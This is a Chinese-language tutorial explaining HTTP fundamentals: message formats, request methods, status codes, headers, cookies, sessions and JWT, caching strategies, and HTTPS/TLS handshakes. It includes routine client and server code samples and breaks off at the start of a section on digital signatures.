HTTP
一、HTTP 协议基础
1.1 什么是 HTTP 协议?
定义:
HTTP(HyperText Transfer Protocol,超文本传输协议)是应用层协议,基于 TCP/IP 通信协议来传递数据(HTML 文件、图片文件、查询结果等)。HTTP 是 Web 的基础,万维网数据通信的基础。
核心原理:
- 客户端-服务器模式:浏览器(客户端)发起请求,服务器响应请求
- 无状态协议:每次请求都是独立的,服务器不会保存客户端的状态
- 请求-响应模型:客户端发送请求报文,服务器返回响应报文
- 基于 TCP:默认端口 80(HTTP)或 443(HTTPS)
工作流程:
1. 客户端发起 TCP 连接(三次握手)
2. 客户端发送 HTTP 请求报文
3. 服务器处理请求并返回 HTTP 响应报文
4. 关闭连接(或保持连接复用)
常见误区:
- HTTP 不是传输层协议,而是应用层协议
- HTTP 无状态不代表无法维持状态,通过 Cookie/Session 可以实现状态管理
- HTTP 不是完全不安全,只是不加密,配合 HTTPS 可以安全传输
1.2 HTTP 报文结构
HTTP 报文分为 请求报文 和 响应报文,都由三部分组成:
起始行(请求行/状态行)
头部(Headers)
空行
消息体(Body)
1.2.1 HTTP 请求报文
结构:
请求行:方法 + URL + HTTP版本
请求头:键值对集合
空行:分隔头部和消息体
消息体:请求数据(可选)
示例:
POST /api/users HTTP/1.1
Host: www.example.com
Content-Type: application/json
Content-Length: 52
Accept: application/json
Authorization: Bearer xxxxx
{"name":"张三","age":25,"email":"zhangsan@example.com"}
各部分说明:
-
请求行:
- 方法:GET、POST、PUT、DELETE 等
- URL:请求的资源路径
- HTTP版本:HTTP/1.1 或 HTTP/2
-
请求头:
- Host:目标服务器域名(HTTP/1.1 必需)
- Content-Type:请求体数据类型
- Content-Length:请求体长度
- Accept:客户端接受的数据类型
- User-Agent:客户端信息
-
消息体:
- GET 请求通常没有消息体
- POST/PUT 请求包含要发送的数据
1.2.2 HTTP 响应报文
结构:
状态行:HTTP版本 + 状态码 + 状态描述
响应头:键值对集合
空行:分隔头部和消息体
消息体:响应数据(可选)
示例:
HTTP/1.1 200 OK
Date: Sat, 15 Mar 2026 10:00:00 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 86
Cache-Control: max-age=3600
ETag: "abc123"
{"id":1,"name":"张三","age":25,"email":"zhangsan@example.com","status":"success"}
各部分说明:
-
状态行:
- HTTP版本:服务器使用的 HTTP 版本
- 状态码:3位数字,表示请求结果
- 状态描述:状态码的文字说明
-
响应头:
- Date:服务器响应时间
- Content-Type:响应数据类型
- Content-Length:响应体长度
- Cache-Control:缓存控制指令
- Set-Cookie:设置 Cookie
-
消息体:
- 包含实际的响应数据
- 204、304 等状态码没有消息体
1.3 完整 HTTP 事务过程
流程说明:
从用户在浏览器输入 URL 到页面显示,完整过程如下:
1. DNS 解析
- 浏览器缓存 -> 操作系统缓存 -> 路由器缓存 -> ISP DNS 服务器 -> 根域名服务器
- 将域名解析为 IP 地址
2. TCP 连接建立(三次握手)
- 客户端发送 SYN
- 服务器回复 SYN+ACK
- 客户端发送 ACK
3. TLS 握手(HTTPS)
- 协商加密算法
- 交换密钥
- 验证证书
4. 发送 HTTP 请求
- 构建请求报文
- 通过 TCP 连接发送
5. 服务器处理请求
- 接收请求
- 解析报文
- 处理业务逻辑
- 生成响应
6. 返回 HTTP 响应
- 构建响应报文
- 通过 TCP 连接返回
7. 浏览器渲染页面
- 解析 HTML
- 加载 CSS/JS
- 渲染 DOM 树
8. TCP 连接关闭(四次挥手)
- 或保持连接复用(Keep-Alive)
时序图:
浏览器 服务器
| |
|-- DNS 解析 ------------->|
|<-- 返回 IP 地址 ---------|
| |
|-- SYN ----------------->|
|<-- SYN+ACK -------------|
|-- ACK ----------------->|
| |
|-- HTTP Request -------->|
| |
| | 处理请求
| |
|<-- HTTP Response -------|
| |
| 渲染页面 |
| |
|-- FIN ----------------->|
|<-- FIN+ACK -------------|
|-- ACK ----------------->|
1.4 HTTP 协议版本演进
| 版本 | 年份 | 核心特性 |
|---|---|---|
| HTTP/0.9 | 1991 | 仅支持 GET,无头部,纯文本 |
| HTTP/1.0 | 1996 | 支持多方法、多类型内容、请求/响应头 |
| HTTP/1.1 | 1997 | 持久连接、管道化、分块传输、Host 头 |
| HTTP/2 | 2015 | 二进制分帧、多路复用、头部压缩、服务器推送 |
| HTTP/3 | 2022 | 基于 QUIC、UDP 传输、零 RTT 连接 |
二、HTTP 方法
2.1 HTTP 请求方法概述
HTTP/1.1 定义了 8 种请求方法,用于对资源执行不同的操作:
| 方法 | 说明 | 安全性 | 幂等性 |
|---|---|---|---|
| GET | 获取资源 | 安全 | 幂等 |
| POST | 提交数据/创建资源 | 不安全 | 不幂等 |
| PUT | 更新/替换资源 | 不安全 | 幂等 |
| DELETE | 删除资源 | 不安全 | 幂等 |
| PATCH | 部分更新资源 | 不安全 | 不幂等 |
| HEAD | 获取响应头 | 安全 | 幂等 |
| OPTIONS | 查询支持的方法 | 安全 | 幂等 |
| CONNECT | 建立隧道连接 | 不安全 | 不幂等 |
概念解释:
- 安全性:方法不会修改服务器资源状态
- 幂等性:多次执行相同请求,结果与一次执行相同
2.2 GET 请求
定义:
GET 方法用于请求指定资源的表示,使用 GET 的请求只应用于获取数据,不应该产生副作用。
特点:
- 参数附加在 URL 后面(查询字符串)
- 可被缓存
- 保留在浏览器历史记录中
- 可收藏为书签
- 有长度限制(URL 长度限制)
- 不应处理敏感数据
示例:
GET /api/users?page=1&limit=10 HTTP/1.1
Host: www.example.com
Accept: application/json
// Fetch API
fetch('/api/users?page=1&limit=10', {
method: 'GET',
headers: {
'Accept': 'application/json'
}
})
.then(response => response.json())
.then(data => console.log(data));
// Axios
axios.get('/api/users', {
params: { page: 1, limit: 10 }
})
.then(response => console.log(response.data));
2.3 POST 请求
定义:
POST 方法用于向指定资源提交数据,请求服务器处理(例如提交表单、上传文件),数据包含在请求体中。
特点:
- 数据放在请求体中
- 不会被缓存
- 不保留在浏览器历史记录中
- 不能收藏为书签
- 无长度限制
- 可处理敏感数据
示例:
POST /api/users HTTP/1.1
Host: www.example.com
Content-Type: application/json
Accept: application/json
{
"name": "张三",
"age": 25,
"email": "zhangsan@example.com"
}
// Fetch API
fetch('/api/users', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
name: '张三',
age: 25,
email: 'zhangsan@example.com'
})
})
.then(response => response.json())
.then(data => console.log(data));
// Axios
axios.post('/api/users', {
name: '张三',
age: 25,
email: 'zhangsan@example.com'
})
.then(response => console.log(response.data));
2.4 PUT 请求
定义:
PUT 方法用于更新指定资源,或如果资源不存在则创建它。PUT 是幂等的,多次执行结果相同。
特点:
- 完整替换资源
- 幂等操作
- 数据放在请求体中
示例:
PUT /api/users/1 HTTP/1.1
Host: www.example.com
Content-Type: application/json
{
"id": 1,
"name": "李四",
"age": 30,
"email": "lisi@example.com"
}
// 更新用户信息
axios.put('/api/users/1', {
name: '李四',
age: 30,
email: 'lisi@example.com'
});
2.5 DELETE 请求
定义:
DELETE 方法用于删除指定的资源。DELETE 是幂等的,多次删除同一资源结果相同。
示例:
DELETE /api/users/1 HTTP/1.1
Host: www.example.com
Authorization: Bearer xxxxx
// 删除用户
axios.delete('/api/users/1')
.then(response => console.log(response.data));
2.6 PATCH 请求
定义:
PATCH 方法用于对资源进行部分更新,与 PUT 不同,PATCH 只更新提供的字段,而不是替换整个资源。
示例:
PATCH /api/users/1 HTTP/1.1
Host: www.example.com
Content-Type: application/json
{
"age": 31
}
// 只更新年龄
axios.patch('/api/users/1', { age: 31 });
2.7 HEAD 请求
定义:
HEAD 方法与 GET 方法相同,但服务器只返回响应头,不返回响应体。常用于检查资源是否存在、获取元数据。
使用场景:
- 检查资源是否存在
- 获取 Content-Length 预判下载大小
- 检查资源是否被修改(配合 ETag)
// 检查资源是否存在
fetch('/api/users/1', { method: 'HEAD' })
.then(response => {
console.log('Content-Length:', response.headers.get('content-length'));
console.log('Last-Modified:', response.headers.get('last-modified'));
});
2.8 OPTIONS 请求
定义:
OPTIONS 方法用于描述目标资源的通信选项,常用于 CORS 预检请求。
示例:
OPTIONS /api/users HTTP/1.1
Host: www.example.com
Origin: https://frontend.example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Content-Type, Authorization
服务器响应:
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://frontend.example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400
2.9 GET 与 POST 的对比
| 对比项 | GET | POST |
|---|---|---|
| 用途 | 获取数据 | 提交数据 |
| 参数位置 | URL 查询字符串 | 请求体 |
| 缓存 | 可缓存 | 不可缓存 |
| 历史记录 | 保留 | 不保留 |
| 书签 | 可收藏 | 不可收藏 |
| 长度限制 | 有(URL 长度限制) | 无 |
| 安全性 | 较低(参数可见) | 较高 |
| 幂等性 | 幂等 | 不幂等 |
| 数据类型 | 仅 ASCII | 任意类型 |
| 书签/分享 | 适合 | 不适合 |
选择策略:
- 查询、搜索、获取数据 → GET
- 创建资源、提交表单、上传文件 → POST
- 有副作用的操作 → POST
- 无副作用的查询 → GET
常见误区:
- GET 不是绝对不安全,只是不应该有副作用
- POST 不是比 GET 更安全,只是参数不在 URL 中显示
- GET 的长度限制不是 HTTP 协议规定的,而是浏览器和服务器的限制
2.10 PUT 与 PATCH 的对比
| 对比项 | PUT | PATCH |
|---|---|---|
| 更新方式 | 完整替换 | 部分更新 |
| 幂等性 | 幂等 | 通常不幂等 |
| 请求体 | 完整资源 | 修改的字段 |
| 适用场景 | 已知完整资源 | 只更新部分字段 |
选择策略:
- 更新整个资源 → PUT
- 只更新部分字段 → PATCH
- 资源不存在时,PUT 可创建,PATCH 行为未定义
三、HTTP 状态码
3.1 状态码分类
HTTP 状态码由 3 位数字组成,分为 5 类:
| 分类 | 说明 | 含义 |
|---|---|---|
| 1xx | 信息性状态码 | 请求已接收,继续处理 |
| 2xx | 成功状态码 | 请求成功被接收和处理 |
| 3xx | 重定向状态码 | 需要进一步操作以完成请求 |
| 4xx | 客户端错误状态码 | 请求有错误或无法完成 |
| 5xx | 服务器错误状态码 | 服务器处理请求时出错 |
3.2 常见 2xx 成功状态码
200 OK
定义: 请求成功,响应体包含请求的资源。
示例:
HTTP/1.1 200 OK
Content-Type: application/json
{"id": 1, "name": "张三"}
201 Created
定义: 请求成功,并创建了新的资源。通常在 POST 或 PUT 请求后返回。
使用场景:
- 创建用户成功
- 上传文件成功
- 提交订单成功
示例:
HTTP/1.1 201 Created
Location: /api/users/123
Content-Type: application/json
{"id": 123, "name": "新创建的用户"}
// 创建用户
const response = await axios.post('/api/users', { name: '新用户' });
console.log(response.status); // 201
console.log(response.data); // { id: 123, name: '新用户' }
204 No Content
定义: 请求成功,但响应体没有内容。常用于 DELETE 请求。
使用场景:
- 删除资源成功
- 更新资源成功但不需要返回数据
// 删除用户
const response = await axios.delete('/api/users/123');
console.log(response.status); // 204
console.log(response.data); // undefined(无内容)
3.3 常见 3xx 重定向状态码
301 Moved Permanently
定义: 永久重定向。请求的资源已被永久移动到新位置。
特点:
- 浏览器会缓存重定向
- 搜索引擎会更新索引
- 后续请求自动跳转到新 URL
HTTP/1.1 301 Moved Permanently
Location: https://new-domain.com/resource
302 Found
定义: 临时重定向。请求的资源临时移动到其他位置。
特点:
- 浏览器不会缓存重定向
- 搜索引擎不会更新索引
- 请求方法可能被改为 GET
HTTP/1.1 302 Found
Location: https://temp-domain.com/resource
304 Not Modified
定义: 资源未被修改,可使用缓存版本。用于协商缓存。
工作原理:
- 客户端发送请求时携带
If-Modified-Since或If-None-Match头 - 服务器检查资源是否被修改
- 未修改则返回 304,不返回响应体
// 客户端请求
GET /styles.css HTTP/1.1
If-None-Match: "abc123"
If-Modified-Since: Mon, 15 Mar 2026 10:00:00 GMT
// 服务器响应
HTTP/1.1 304 Not Modified
ETag: "abc123"
307 Temporary Redirect
定义: 临时重定向。与 302 类似,但不会改变请求方法。
与 302 的区别:
- 302:请求方法可能被改为 GET
- 307:保持原始请求方法不变
308 Permanent Redirect
定义: 永久重定向。与 301 类似,但不会改变请求方法。
与 301 的区别:
- 301:请求方法可能被改为 GET
- 308:保持原始请求方法不变
3.4 常见 4xx 客户端错误状态码
400 Bad Request
定义: 请求格式错误,服务器无法理解。
常见原因:
- JSON 格式错误
- 缺少必需参数
- 参数类型不正确
// 错误示例:发送无效 JSON
axios.post('/api/users', 'invalid json')
.catch(error => {
console.log(error.response.status); // 400
console.log(error.response.data); // { message: 'Invalid JSON format' }
});
401 Unauthorized
定义: 请求需要身份验证。
响应头:
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Bearer realm="api"
// 未携带 token 访问受保护资源
axios.get('/api/profile')
.catch(error => {
if (error.response.status === 401) {
// 跳转到登录页
window.location.href = '/login';
}
});
403 Forbidden
定义: 服务器理解请求,但拒绝执行。与 401 不同,403 表示身份验证已提供但权限不足。
与 401 的区别:
| 对比项 | 401 Unauthorized | 403 Forbidden |
|---|---|---|
| 含义 | 未认证/需要认证 | 已认证但无权限 |
| 解决方式 | 提供有效凭证 | 获取相应权限 |
| 场景 | 未登录用户访问 | 普通用户访问管理员页面 |
404 Not Found
定义: 请求的资源不存在。
常见原因:
- URL 拼写错误
- 资源已被删除
- 路由未配置
// Express 路由
app.get('/api/users/:id', (req, res) => {
const user = getUserById(req.params.id);
if (!user) {
return res.status(404).json({ message: '用户不存在' });
}
res.json(user);
});
405 Method Not Allowed
定义: 请求方法不被允许。
HTTP/1.1 405 Method Not Allowed
Allow: GET, POST, OPTIONS
3.5 常见 5xx 服务器错误状态码
500 Internal Server Error
定义: 服务器遇到意外情况,无法完成请求。
常见原因:
- 代码 bug
- 数据库连接失败
- 未捕获的异常
// Express 错误处理
app.use((err, req, res, next) => {
console.error(err.stack);
res.status(500).json({
message: '服务器内部错误',
error: process.env.NODE_ENV === 'development' ? err.message : undefined
});
});
502 Bad Gateway
定义: 网关或代理服务器从上游服务器收到无效响应。
常见原因:
- 后端服务崩溃
- 后端服务响应超时
- 反向代理配置错误
503 Service Unavailable
定义: 服务器暂时无法处理请求。
常见原因:
- 服务器维护中
- 服务器过载
- 限流/降级
HTTP/1.1 503 Service Unavailable
Retry-After: 120
504 Gateway Timeout
定义: 网关或代理服务器未及时从上游服务器收到响应。
常见原因:
- 后端服务响应超时
- 数据库查询超时
- 网络延迟
3.6 状态码速查表
| 状态码 | 含义 | 分类 | 常见场景 |
|---|---|---|---|
| 200 | OK | 2xx | 请求成功 |
| 201 | Created | 2xx | 创建资源成功 |
| 204 | No Content | 2xx | 操作成功,无返回内容 |
| 301 | Moved Permanently | 3xx | 永久重定向 |
| 302 | Found | 3xx | 临时重定向 |
| 304 | Not Modified | 3xx | 协商缓存命中 |
| 307 | Temporary Redirect | 3xx | 临时重定向,保持方法 |
| 308 | Permanent Redirect | 3xx | 永久重定向,保持方法 |
| 400 | Bad Request | 4xx | 请求格式错误 |
| 401 | Unauthorized | 4xx | 需要身份验证 |
| 403 | Forbidden | 4xx | 权限不足 |
| 404 | Not Found | 4xx | 资源不存在 |
| 405 | Method Not Allowed | 4xx | 方法不被允许 |
| 500 | Internal Server Error | 5xx | 服务器内部错误 |
| 502 | Bad Gateway | 5xx | 网关收到无效响应 |
| 503 | Service Unavailable | 5xx | 服务不可用 |
| 504 | Gateway Timeout | 5xx | 网关超时 |
四、请求头与响应头
4.1 常见请求头
Accept
定义: 客户端能够处理的内容类型。
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
q值表示优先级,范围 0-1*/*表示接受任何类型
Accept-Encoding
定义: 客户端支持的压缩算法。
Accept-Encoding: gzip, deflate, br
- gzip:最常用的压缩算法
- deflate:基于 zlib 的压缩
- br:Brotli 压缩,压缩率更高
Accept-Language
定义: 客户端偏好的语言。
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Type
定义: 请求或响应体的 MIME 类型。
常见类型:
| Content-Type | 说明 |
|---|---|
| application/json | JSON 数据 |
| application/x-www-form-urlencoded | 表单数据 |
| multipart/form-data | 文件上传 |
| text/html | HTML 文档 |
| text/css | CSS 样式表 |
| application/javascript | JavaScript 代码 |
| image/png | PNG 图片 |
示例:
POST /api/users HTTP/1.1
Content-Type: application/json
{"name": "张三"}
Content-Length
定义: 请求或响应体的字节长度。
Content-Length: 1024
Content-Encoding
定义: 响应体的压缩方式。
Content-Encoding: gzip
User-Agent
定义: 客户端软件信息(浏览器、操作系统等)。
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
用途:
- 浏览器检测
- 移动端适配
- 统计分析
Referer
定义: 当前请求的来源页面 URL。
Referer: https://www.example.com/page1
用途:
- 防盗链
- 访问来源统计
- 安全校验
Origin
定义: 请求的来源(协议 + 域名 + 端口)。
Origin: https://www.example.com
与 Referer 的区别:
| 对比项 | Origin | Referer |
|---|---|---|
| 内容 | 仅协议+域名+端口 | 完整 URL |
| 用途 | CORS 跨域请求 | 访问来源追踪 |
| 隐私 | 更安全(不暴露路径) | 暴露完整路径 |
Host
定义: 请求的目标服务器域名和端口号。HTTP/1.1 必需。
Host: www.example.com:8080
Authorization
定义: 客户端提供的身份验证凭证。
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=
4.2 常见响应头
Cache-Control
定义: 控制缓存行为。
常见指令:
| 指令 | 说明 |
|---|---|
| max-age=3600 | 缓存有效期(秒) |
| no-cache | 使用缓存前需验证 |
| no-store | 不缓存任何内容 |
| public | 可被任何缓存存储 |
| private | 仅浏览器可缓存 |
| must-revalidate | 过期后必须重新验证 |
Cache-Control: max-age=3600, public
ETag
定义: 资源的唯一标识符,用于协商缓存。
ETag: "abc123def456"
生成方式:
- 文件内容的哈希值
- 版本号
- 时间戳
Last-Modified
定义: 资源最后修改时间。
Last-Modified: Mon, 15 Mar 2026 10:00:00 GMT
Set-Cookie
定义: 服务器设置 Cookie。
Set-Cookie: sessionId=abc123; Path=/; HttpOnly; Secure; SameSite=Strict
Location
定义: 重定向的目标 URL。
HTTP/1.1 301 Moved Permanently
Location: https://new-domain.com/resource
WWW-Authenticate
定义: 请求认证时,服务器要求的认证方案。
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Bearer realm="api"
五、Cookie 与 Session
5.1 Cookie
定义:
Cookie 是服务器发送到用户浏览器并保存在本地的一小块数据,浏览器会在后续请求中自动携带该 Cookie。
特点:
- 存储在客户端
- 大小限制约 4KB
- 每次请求自动携带
- 可设置过期时间
- 可设置作用域
Cookie 属性:
| 属性 | 说明 | 示例 |
|---|---|---|
| Name | Cookie 名称 | sessionId |
| Value | Cookie 值 | abc123 |
| Domain | 作用域 | .example.com |
| Path | 路径 | / |
| Expires | 过期时间 | Thu, 01 Jan 2027 00:00:00 GMT |
| Max-Age | 有效期(秒) | 3600 |
| HttpOnly | 禁止 JS 访问 | HttpOnly |
| Secure | 仅 HTTPS 传输 | Secure |
| SameSite | 跨站点请求控制 | SameSite=Strict |
设置 Cookie:
// 服务器端(Express)
res.cookie('sessionId', 'abc123', {
maxAge: 3600000,
httpOnly: true,
secure: true,
sameSite: 'strict'
});
// 响应头
Set-Cookie: sessionId=abc123; Max-Age=3600; Path=/; HttpOnly; Secure; SameSite=Strict
5.2 Session
定义:
Session 是服务器端存储用户会话信息的机制。服务器为每个用户创建唯一的 Session ID,通过 Cookie 发送给客户端,后续请求通过 Session ID 识别用户。
工作流程:
1. 用户登录
2. 服务器创建 Session,生成 Session ID
3. 服务器将 Session ID 通过 Cookie 发送给客户端
4. 客户端后续请求自动携带 Session ID
5. 服务器通过 Session ID 查找 Session 数据
示例:
// Express Session
const session = require('express-session');
app.use(session({
secret: 'keyboard cat',
resave: false,
saveUninitialized: true,
cookie: { secure: true, maxAge: 3600000 }
}));
// 存储 Session
app.post('/login', (req, res) => {
req.session.user = { id: 1, name: '张三' };
res.json({ message: '登录成功' });
});
// 读取 Session
app.get('/profile', (req, res) => {
if (!req.session.user) {
return res.status(401).json({ message: '未登录' });
}
res.json(req.session.user);
});
5.3 Cookie 与 Session 的对比
| 对比项 | Cookie | Session |
|---|---|---|
| 存储位置 | 客户端 | 服务器端 |
| 安全性 | 较低(客户端可篡改) | 较高 |
| 存储大小 | 约 4KB | 无限制(取决于服务器) |
| 性能 | 每次请求携带,消耗带宽 | 仅传输 Session ID |
| 有效期 | 可设置长期有效 | 通常较短 |
| 跨域 | 受限 | 可实现跨域共享 |
| 适用场景 | 记住用户名、购物车 | 用户登录状态、敏感数据 |
5.4 Cookie 安全
HttpOnly
定义: 禁止 JavaScript 通过 document.cookie 访问。
作用: 防止 XSS 攻击窃取 Cookie。
Set-Cookie: sessionId=abc123; HttpOnly
// HttpOnly 的 Cookie 无法通过 JS 访问
console.log(document.cookie); // 不包含 HttpOnly Cookie
Secure
定义: 仅在 HTTPS 连接中传输。
作用: 防止 Cookie 在传输过程中被窃听。
Set-Cookie: sessionId=abc123; Secure
SameSite
定义: 控制跨站点请求时是否发送 Cookie。
取值:
| 值 | 说明 |
|---|---|
| Strict | 完全禁止第三方 Cookie |
| Lax | 部分允许(导航到目标站点时) |
| None | 完全允许(需配合 Secure) |
Set-Cookie: sessionId=abc123; SameSite=Strict
5.5 JWT(JSON Web Token)
定义:
JWT 是一种基于 JSON 的开放标准(RFC 7519),用于在各方之间安全地传输信息。
结构:
Header.Payload.Signature
- Header:算法和令牌类型
- Payload:数据(声明)
- Signature:签名
示例:
// 生成 JWT
const jwt = require('jsonwebtoken');
const token = jwt.sign(
{ userId: 1, role: 'admin' },
'secret_key',
{ expiresIn: '1h' }
);
// 验证 JWT
app.get('/profile', (req, res) => {
const token = req.headers.authorization?.split(' ')[1];
try {
const decoded = jwt.verify(token, 'secret_key');
res.json({ user: decoded });
} catch (err) {
res.status(401).json({ message: '无效的 token' });
}
});
5.6 JWT 与 Session 的对比
| 对比项 | JWT | Session |
|---|---|---|
| 存储位置 | 客户端 | 服务器端 |
| 状态 | 无状态 | 有状态 |
| 扩展性 | 更好(无服务器状态) | 需要会话存储 |
| 性能 | 服务器验证签名 | 查询会话存储 |
| 撤销 | 困难(需额外机制) | 容易(删除会话) |
| 大小 | 较大 | 仅 Session ID |
| 适用场景 | 微服务、API、移动端 | 传统 Web 应用 |
六、缓存机制
6.1 HTTP 缓存概述
HTTP 缓存是优化 Web 性能的重要手段,可以减少网络传输、降低服务器负载、加快页面加载速度。
缓存分类:
HTTP 缓存
├── 强缓存(不需要向服务器发送请求)
│ ├── Cache-Control
│ └── Expires
│
└── 协商缓存(需要向服务器验证)
├── ETag / If-None-Match
└── Last-Modified / If-Modified-Since
6.2 强缓存
定义:
强缓存指浏览器直接使用本地缓存,不向服务器发送请求。
Cache-Control
定义: HTTP/1.1 引入,通过指令控制缓存行为。
常见指令:
| 指令 | 说明 | 示例 |
|---|---|---|
| max-age=3600 | 缓存有效时间(秒) | max-age=3600 |
| no-cache | 缓存但每次使用前需验证 | no-cache |
| no-store | 完全不缓存 | no-store |
| public | 任何缓存都可存储 | public |
| private | 仅浏览器可存储 | private |
| must-revalidate | 过期后必须重新验证 | must-revalidate |
// 缓存 1 小时
Cache-Control: max-age=3600, public
// 不缓存
Cache-Control: no-cache, no-store, must-revalidate
// 仅浏览器缓存
Cache-Control: private, max-age=300
Expires
定义: HTTP/1.0 引入,指定缓存过期时间(绝对时间)。
Expires: Thu, 01 Jan 2027 00:00:00 GMT
与 Cache-Control 的区别:
| 对比项 | Expires | Cache-Control |
|---|---|---|
| 版本 | HTTP/1.0 | HTTP/1.1 |
| 时间类型 | 绝对时间 | 相对时间 |
| 精度 | 依赖客户端时钟 | 不受时钟影响 |
| 优先级 | 低 | 高(同时存在时覆盖 Expires) |
6.3 协商缓存
定义:
协商缓存指浏览器向服务器发送请求,服务器验证资源是否更新,未更新则返回 304。
ETag / If-None-Match
ETag: 服务器为资源生成的唯一标识符。
If-None-Match: 浏览器再次请求时携带上次获取的 ETag。
流程:
1. 首次请求:
服务器响应 → ETag: "abc123"
2. 再次请求:
浏览器请求 → If-None-Match: "abc123"
服务器验证 → ETag 未变 → 304 Not Modified
→ ETag 已变 → 200 + 新资源
// 首次响应
HTTP/1.1 200 OK
ETag: "5d8c72a5"
Content-Type: text/css
/* CSS 内容 */
// 再次请求
GET /styles.css HTTP/1.1
If-None-Match: "5d8c72a5"
// 服务器响应(未修改)
HTTP/1.1 304 Not Modified
ETag: "5d8c72a5"
ETag 生成方式:
// Node.js 示例:基于文件内容生成 ETag
const crypto = require('crypto');
const fs = require('fs');
function generateETag(filePath) {
const content = fs.readFileSync(filePath);
const hash = crypto.createHash('md5').update(content).digest('hex');
return `"${hash}"`;
}
Last-Modified / If-Modified-Since
Last-Modified: 资源最后修改时间。
If-Modified-Since: 浏览器再次请求时携带上次获取的 Last-Modified。
// 首次响应
HTTP/1.1 200 OK
Last-Modified: Mon, 15 Mar 2026 10:00:00 GMT
// 再次请求
GET /styles.css HTTP/1.1
If-Modified-Since: Mon, 15 Mar 2026 10:00:00 GMT
// 服务器响应(未修改)
HTTP/1.1 304 Not Modified
Last-Modified 的局限性:
- 精度只有秒级
- 文件内容未变但修改时间变化会导致缓存失效
- 某些资源可能没有修改时间
6.4 强缓存与协商缓存的对比
| 对比项 | 强缓存 | 协商缓存 |
|---|---|---|
| 是否发请求 | 不发 | 发 |
| 服务器参与 | 不参与 | 参与验证 |
| 响应码 | 200(from cache) | 304 |
| 性能 | 更快 | 稍慢 |
| 准确性 | 可能过期 | 总是最新 |
| 适用场景 | 静态资源、版本化文件 | 需验证的资源 |
6.5 缓存位置
浏览器缓存优先级:
1. Service Worker(可编程缓存)
2. Memory Cache(内存缓存,当前会话)
3. Disk Cache(磁盘缓存,持久化)
4. Push Cache(HTTP/2 推送缓存)
6.6 缓存策略
最佳实践:
静态资源(带 hash):Cache-Control: max-age=31536000(一年)
HTML 页面:Cache-Control: no-cache
API 响应:Cache-Control: no-store 或 max-age=60
Nginx 配置示例:
# 静态资源强缓存
location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg|woff|woff2)$ {
expires 1y;
add_header Cache-Control "public, immutable";
}
# HTML 不缓存
location ~* \.html$ {
add_header Cache-Control "no-cache, no-store, must-revalidate";
}
# API 缓存 1 分钟
location /api/ {
add_header Cache-Control "public, max-age=60";
}
6.7 禁用缓存
方法:
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: 0
HTML Meta 标签(不推荐,效果有限):
<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Expires" content="0">
七、HTTPS 与 SSL/TLS
7.1 HTTP 与 HTTPS 的对比
| 对比项 | HTTP | HTTPS |
|---|---|---|
| 全称 | HyperText Transfer Protocol | HTTP Secure |
| 安全性 | 明文传输,不安全 | 加密传输,安全 |
| 端口 | 80 | 443 |
| 协议层 | TCP | TCP + SSL/TLS |
| 证书 | 不需要 | 需要 CA 证书 |
| SEO | 权重较低 | 权重较高 |
| 性能 | 较快(无加密开销) | 稍慢(有握手开销) |
7.2 HTTPS 工作原理
定义:
HTTPS = HTTP + SSL/TLS,通过 SSL/TLS 协议对 HTTP 数据进行加密传输。
核心安全机制:
HTTPS 安全保障
├── 加密传输(防窃听)
├── 身份验证(防篡改)
└── 数据完整性(防伪造)
7.3 加密算法
对称加密
定义: 加密和解密使用相同的密钥。
常见算法:
| 算法 | 密钥长度 | 特点 |
|---|---|---|
| AES | 128/192/256 位 | 速度快,安全性高,最常用 |
| DES | 56 位 | 已被淘汰 |
| 3DES | 112/168 位 | DES 改进版,逐渐淘汰 |
特点:
- 加密/解密速度快
- 适合大数据量加密
- 密钥分发困难
非对称加密
定义: 使用公钥加密,私钥解密(或私钥签名,公钥验证)。
常见算法:
| 算法 | 特点 |
|---|---|
| RSA | 最常用,基于大数分解难题 |
| ECC | 密钥短,安全性高 |
| DSA | 仅用于数字签名 |
特点:
- 安全性高
- 加密/解密速度慢
- 适合密钥交换和数字签名
混合加密
HTTPS 采用混合加密:
1. 使用非对称加密交换对称密钥
2. 使用对称加密传输实际数据
原因:
- 非对称加密安全性高,但速度慢
- 对称加密速度快,但密钥分发困难
- 结合两者优势,既安全又高效
7.4 数字证书
定义:
数字证书是由 CA(Certificate Authority,证书颁发机构)颁发的电子文档,用于证明公钥的所有者身份。
证书内容:
- 域名
- 证书颁发机构
- 有效期
- 公钥
- 签名算法
- 颁发者签名
证书链:
根证书(Root CA)
└── 中间证书(Intermediate CA)
└── 服务器证书(Server Certificate)
验证流程:
1. 浏览器获取服务器证书
2. 验证证书链(从服务器证书到根证书)
3. 检查证书是否过期
4. 检查证书是否被吊销(CRL/OCSP)
5. 验证域名是否匹配
7.5 TLS 握手过程
TLS 1.2 握手流程:
客户端 服务器
| |
|-- ClientHello ------------------->|
| (支持的版本、加密套件、随机数) |
| |
|<-- ServerHello -------------------|
| (选定的版本、加密套件、随机数) |
|<-- Certificate -------------------|
| (服务器证书) |
|<-- ServerHelloDone ---------------|
| |
|-- 验证证书 |
|-- 生成预主密钥 |
|-- ClientKeyExchange ------------->|
| (用公钥加密预主密钥) |
| |
|<-- ChangeCipherSpec --------------|
|<-- Finished ----------------------|
| |
|-- ChangeCipherSpec -------------->|
|-- Finished ---------------------->|
| |
|====== 加密通信 ===================|
TLS 1.3 优化:
- 减少握手往返次数(1-RTT)
- 废弃不安全的加密算法
- 支持 0-RTT(会话恢复)
7.6 数字签名
定义:
数字签名是使用私钥对数据摘要进行加密的结果,用于验证数据的完整性和来源。
流程:
